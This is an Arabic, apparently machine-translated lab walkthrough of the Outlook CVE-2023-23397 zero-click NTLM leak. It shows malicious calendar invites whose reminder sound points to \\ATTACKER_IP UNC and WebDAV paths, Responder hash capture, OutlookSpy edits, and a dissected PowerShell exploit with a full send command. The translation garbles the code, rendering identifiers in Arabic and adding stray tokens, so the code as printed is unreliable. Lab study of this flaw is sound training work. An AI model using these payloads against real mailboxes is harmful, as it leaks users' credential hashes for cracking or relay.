لقد قمنا بتغطية الثغرة الأمنية الأخيرة لـ Microsoft Outlook NTLM CVE-2023-23397 والتي قد تؤدي إلى تسرب تجزئة NTLM في حالة نجاحها. كما قمنا بتغطية السيناريو التجريبي بالإضافة إلى التخفيف والكشف. كان هذا جزءًا من محاولةHackMe Outlook تسرب NTLM.

احصل على ملاحظات OSCP

في يوم الثلاثاء الموافق 14 مارس، أصدرت Microsoft 83 إصلاحًا أمنيًا على تصحيح الثلاثاء، بما في ذلك CVE-2023-23397. تؤثر هذه الثغرة الأمنية الخطيرة على كافة إصدارات تطبيق Outlook لسطح المكتب على أي نظام يعمل بنظام Windows. تطبيق الويب Outlook (OWA) وMicrosoft 365 ليسا معرضين للخطر لأنهما لا يدعمانهما NTLM المصادقة.

على عكس معظم برمجيات استغلال الثغرات، تعد هذه البرمجيّة خطيرة بشكل خاص لأنها عبارة عن برمجية استغلال بدون نقرة، مما يعني عدم الحاجة إلى تدخل المستخدم لتشغيلها. بمجرد وصول بريد إلكتروني مصاب إلى صندوق الوارد الخاص بالمستخدم، يمكن للمهاجم الحصول على تجزئات حساسة لبيانات اعتماد Net-NTLMv2. بمجرد حصول الجهات الفاعلة الضارة على هذه التجزئات، يمكنها الحصول على بيانات اعتماد المستخدم والمصادقة على نظامها وتصعيد الامتيازات.

لاستغلال هذه الثغرة الأمنية، يجب على المهاجم إنشاء دعوة تقويم ضارة تتضمن إشارة إلى ملف صوتي يشير إلى ملف في مشاركة عبر الشبكة في جهاز المهاجم. على مستوى منخفض، يقوم بريد Outlook الإلكتروني بتخزين المرجع إلى ملف الصوت في معلمة داخلية تسمى PidLidReminderFileParameter. للتأكد من أن الصوت الذي نقوم بتضمينه في بريدنا الإلكتروني الضار سيكون له الأسبقية على تكوينات التذكير الافتراضية للضحية، سنحتاج أيضًا إلى تعيين معلمة أخرى تسمى PidLidReminderOverride ل حقيقي.

لإعداد PidLidReminderFileParameter للإشارة إلى مشاركة عبر الشبكة، يمكن للمهاجم تحديد ملف اتفاقية التسمية العالمية (UNC) المسار بدلاً من الملف المحلي. يتم استخدام UNC في أنظمة تشغيل Windows للعثور على موارد الشبكة (الملفات والطابعات والمستندات المشتركة). تتكون هذه المسارات من شرطة مائلة عكسية مزدوجة وعنوان IP أو اسم الكمبيوتر الذي يستضيف المورد واسم المشاركة واسم الملف. على سبيل المثال:

\\ATTACKER_IP\foo\bar.wav

عندما يتلقى الضحية رسالة البريد الإلكتروني الضارة، يوجههم مسار UNC إلى ذلك الشركات الصغيرة والمتوسطة المشاركة، مما يؤدي إلى ظهور الثغرة الأمنية. يؤدي هذا إلى قيام النظام ببدء عملية مصادقة NTLM ضد جهاز المهاجم، مما يؤدي إلى تسريب تجزئة Net-NTLMv2 التي يمكن للمهاجم أن يحاول اختراقها لاحقًا.

إذا لسبب ما الشركات الصغيرة والمتوسطة لا يعد البروتوكول بديلاً صالحًا للاستخدام، وستقبل الإصدارات غير الخادمة من Windows استخدام مسارات UNC التي تشير إلى المنافذ 80 أو 443، وتستخدم HTTP لاسترداد الملف من خادم ويب يدعم WebDAV. بناء جملة مسار UNC هذا كما يلي:

\\ATTACKER_IP@80\foo\bar.wav

\\ATTACKER_IP@443\foo\bar.wav

قد يكون هذا مفيدًا لتجاوز قيود جدار الحماية التي تمنع الاتصالات الصادرة بالمنفذ 445 (الشركات الصغيرة والمتوسطة).

إعداد المستجيب

وبما أننا نتوقع من الضحية أن يقوم بمحاولة مصادقة ضد المهاجم على المنفذ 445، فسنقوم بإعداد Responder للتعامل مع عملية المصادقة والتقاط تجزئة NetNTLM لنا. إذا لم تكن معتادًا على Responder، فسوف يحاكي ببساطة ملف الشركات الصغيرة والمتوسطة الخادم والتقاط أي محاولة مصادقة ضده.

لتشغيل المستجيب للاستماع لمحاولات المصادقة في جهازك ens5 الواجهة، يمكنك ببساطة تشغيل الأمر التالي في AttackBox الخاص بك:

AttackBox
root@attackbox$ المستجيب-أنا ens5

نحن الآن جاهزون لبدء محاولة المصادقة عبر ثغرة Outlook الأمنية.

محاولة تحديد موعد ضار يدويًا

كمحاولة أولى، يمكننا إنشاء موعد يدويًا وتحرير المسار إلى الملف الصوتي للتذكير للإشارة إلى مجلد مشترك. لإنشاء موعد، ستحتاج أولاً إلى النقر فوق التقويم ثم فوق الزر "موعد جديد" الموجود على شريط المهام.

سنقوم بإنشاء موعد يتضمن تذكيرًا محددًا خلال 0 دقيقة بحيث يتم تشغيله مباشرة بعد استلام الضحية له. سنضغط أيضًا على خيار الصوت لتكوين الملف الصوتي للتذكير

يمكننا محاولة تعيين مسار الملف الصوتي إلى مسار UNC الذي يشير إلى AttackBox الخاص بنا والنقر فوق الزر "موافق".

ومع ذلك، سيتجاهل Outlook مسار UNC بصمت ويعود إلى استخدام ملف WAV الافتراضي، وهو ما يمكن تأكيده بالرجوع إلى مربع حوار الصوت

نظرًا لأن Outlook لا يتوقع من المستخدمين إدخال مسار UNC هنا، فمن المحتمل أن يتجاهل محاولتنا باعتبارها مخرجات غير صالحة. ولكن ليس كل الأمل مفقود!

OutlookSpy للإنقاذ

حتى إذا لم يتمكن Outlook من ضبط الملف الصوتي للتذكير على مسار UNC، فيمكننا استخدام البرنامج الإضافي OutlookSpy لتحقيق ذلك. سيسمح لك هذا البرنامج الإضافي بالوصول إلى كافة معلمات Outlook الداخلية مباشرةً، بما في ذلك الملف الصوتي للتذكير.

يمكنك العثور على برنامج تثبيت OutlookSpy على سطح مكتب جهازك. ستحتاج إلى تثبيته يدويًا قبل المتابعة. تأكد من إغلاق Outlook قبل تشغيل برنامج التثبيت.

لعرض موعدنا الحالي من OutlookSpy، انقر فوق OutlookSpy علامة التبويب ثم العنصر الحالي الزر الموجود في شريط المهام:

ملاحظة: تأكد من النقر فوق الزر CurrentItem من داخل الموعد، وإلا يمكنك تعديل مكونات Outlook المختلفة.

من هذه النافذة، يمكنك رؤية المعلمات المرتبطة بتذكير الموعد. نريد تعيين تذكيرSoundFile المعلمة إلى مسار UNC الذي يشير إلى AttackBox الخاص بنا وقم بتعيين كلا من تذكير تجاوز الافتراضي و تذكيرPlaySound ل حقيقي. للإشارة فقط، إليك ما تفعله كل معلمة:

  • تذكير تشغيل الصوت: قيمة منطقية تشير إلى ما إذا كان سيتم تشغيل صوت مع التذكير.
  • تذكير تجاوز الافتراضي: قيمة منطقية تشير إلى أن عميل Outlook المتلقي يمكنه تشغيل الصوت المشار إليه تذكيرSoundFile، بدلاً من الافتراضي.
  • تذكيرSoundFile: سلسلة مع المسار إلى الملف الصوتي الذي سيتم استخدامه. بالنسبة لاستغلالنا، سيشير هذا إلى مجلد مشترك مزيف في AttackBox الخاص بنا.

يمكننا استخدام علامة تبويب البرنامج النصي والبرنامج النصي التالي لتغيير المعلمات إلى القيم المطلوبة

تأكد من النقر فوق يجري زر لتطبيق التغييرات. يمكنك العودة إلى ملكيات علامة التبويب للتأكد من أن القيم قد تم تغييرها بشكل صحيح. أخيرًا، احفظ موعدك لإضافته إلى التقويم الخاص بك، مع التأكد من ضبط التذكير على 0 دقيقة وأن الموعد يطابق الوقت والتاريخ الحاليين، حيث نريد تشغيله على الفور

إذا سارت الأمور كما هو متوقع، فيجب أن ترى على الفور تذكيرًا يظهر

ويجب أن تتلقى محاولة المصادقة في وحدة تحكم المستجيب الخاصة بك على AttackBox

استغلال

لتلخيص الخطوات المطلوبة لاستغلال الثغرة الأمنية، سيحتاج المهاجم إلى:

  1. قم بإنشاء اجتماع/موعد ضار باستخدام صوت تذكير مخصص يشير إلى مسار UNC على جهاز المهاجم.
  2. إرسال الدعوة إلى الضحية عبر البريد الإلكتروني.
  3. انتظر حتى يقوم التذكير بتشغيل الاتصال بجهاز المهاجم.
  4. التقط تجزئة Net-NTLMv2، أو استخدم ترحيل المصادقة، أو حقق الربح بأي طريقة أخرى.

لقد تمت تغطية الخطوتين 3 و4 بالفعل من خلال المستجيب، لكن صياغة التعيين الخبيث يدويًا أمر ممل بعض الشيء. ولحسن الحظ، يتوفر لنا بسهولة بعض الثغرات لإنشاء موعد ضار وإرساله.

في هذه المهمة، سنلقي نظرة على الاستغلال الذي نشره أودفار مو، والذي ربما يكون الأسهل في الفهم والاستخدام. يعمل استغلال Powershell هذا على الاستفادة من كائنات COM الخاصة بـ Outlook لإنشاء رسائل البريد الإلكتروني والمواعيد بسهولة. يحتوي على وظيفتين يمكننا استخدامهما:

  • حفظ التقويمNTLMLeak: تقوم هذه الوظيفة بإنشاء موعد ضار وحفظه في التقويم الخاص بك. مفيدة لأغراض الاختبار.
  • إرسال التقويمNTLMLeak: تقوم هذه الوظيفة بإنشاء موعد ضار وإرساله عبر البريد الإلكتروني إلى الضحية. سيتم إرسال الدعوة عبر البريد الإلكتروني من حسابك الافتراضي الحالي في Outlook.

تشريح كود الاستغلال

سيقوم كلاهما بإنشاء موعد بالمثل، لذلك سنشرح حفظ التقويمNTLMLeak فقط.

أولاً، سنقوم بإنشاء كائن "Outlook.Application" وإنشاء موعد.

$Outlook = كائن جديد -comObject Outlook.طلب
$newcal = $outlook.CreateItem("عنصر التعيين الأول")

سيتم تعيين المعلمات المعتادة للموعد. يتضمن ذلك المستلمين وموضوع الاجتماع والموقع والنص وتاريخي البدء والانتهاء. يقوم هذا الاستغلال بتعيين يوم البدء على الوقت الحالي بحيث يتم تشغيل التذكير على الفور:

$newcal.المستلمون.يضيف(1TP4مستلم)
$newcal.حالة الاجتماع = [Microsoft.Office.Interop.Outlook.OlMeetingStatus]::olMeeting
$newcal.الموضوع = $meetingsubject
$newcal.الموقع = "افتراضي"
$newcal.الجسم = $meetingbody
$newcal.يبدأ = الحصول على موعد
$newcal.نهاية = (الحصول على موعد).إضافة ساعات(2)

سيتم تكوين المعلمات الإضافية التالية لتوجيه الملف الصوتي للتذكير إلى خادم المهاجم، كما هو موضح سابقًا:

$newcal.تذكيرSoundFile = $remotefilepath
$newcal.تذكير تجاوز الافتراضي = 1
$newcal.مجموعة التذكير = 1
$newcal.تذكير تشغيل الصوت = 1

وأخيراً سيتم إرسال الموعد إلى المستلم عبر البريد الإلكتروني:

$newcal.يرسل()

استخدام الاستغلال

يمكنك استيراد وظائف الاستغلال باستخدام أمر Import-Module cmdlet. وبعد ذلك، ستكون كلتا الوظيفتين متاحتين في Powershell الحالي لديك. لإرسال بريد إلكتروني بموعد ضار، يمكنك فقط تشغيل الأمر التالي:

بوويرشيل
PS C:\> cd C:\Users\Administrator\Desktop\ PS C:\Users\Administrator\Desktop\> وحدة الاستيراد .\CVE-2023-23397.ps1 PS C:\Users\Administrator\Desktop\> إرسال -CalendarNTLMLeak -recipient "test@thm.loc" -remotefilepath "\\ATTACKER_IP\foo\bar.wav" -meetingsubject "THM Meeting" -meetingbody "هذه مجرد دعوة لاجتماع عادي :)"

تأكد من استبدال ATTACKER_IP بعنوان IP الخاص بـ AttackBox الخاص بك في ملف -remotefilepath معامل. لاحظ أنك تستخدم الثغرة لإرسال بريد إلكتروني لنفسك في هذه الحالة، نظرًا لأن لدينا حسابًا واحدًا في الجهاز، ولكن عادةً ما تستهدف عناوين بريد إلكتروني أخرى.

نظرًا لأن الاستغلال يستخدم مثيل Outlook الحالي لإرسال البريد الإلكتروني، فمن المحتمل أن تحصل على تنبيهين يطلبان منك منح الإذن للبرنامج النصي لإرسال رسائل البريد الإلكتروني نيابةً عنك. تأكد من الضغط على "السماح" عدة مرات حسب الحاجة. من المفترض أيضًا أن يساعد تحديد مربع الاختيار "السماح بالوصول لمدة 10 دقائق" في تسريع هذه العملية

تجول الفيديو

عن المؤلف

أقوم بإنشاء ملاحظات حول الأمن السيبراني وملاحظات التسويق الرقمي والدورات التدريبية عبر الإنترنت. أقدم أيضًا استشارات التسويق الرقمي بما في ذلك، على سبيل المثال لا الحصر، تحسين محركات البحث وإعلانات Google وMeta وإدارة CRM.

عرض المقالات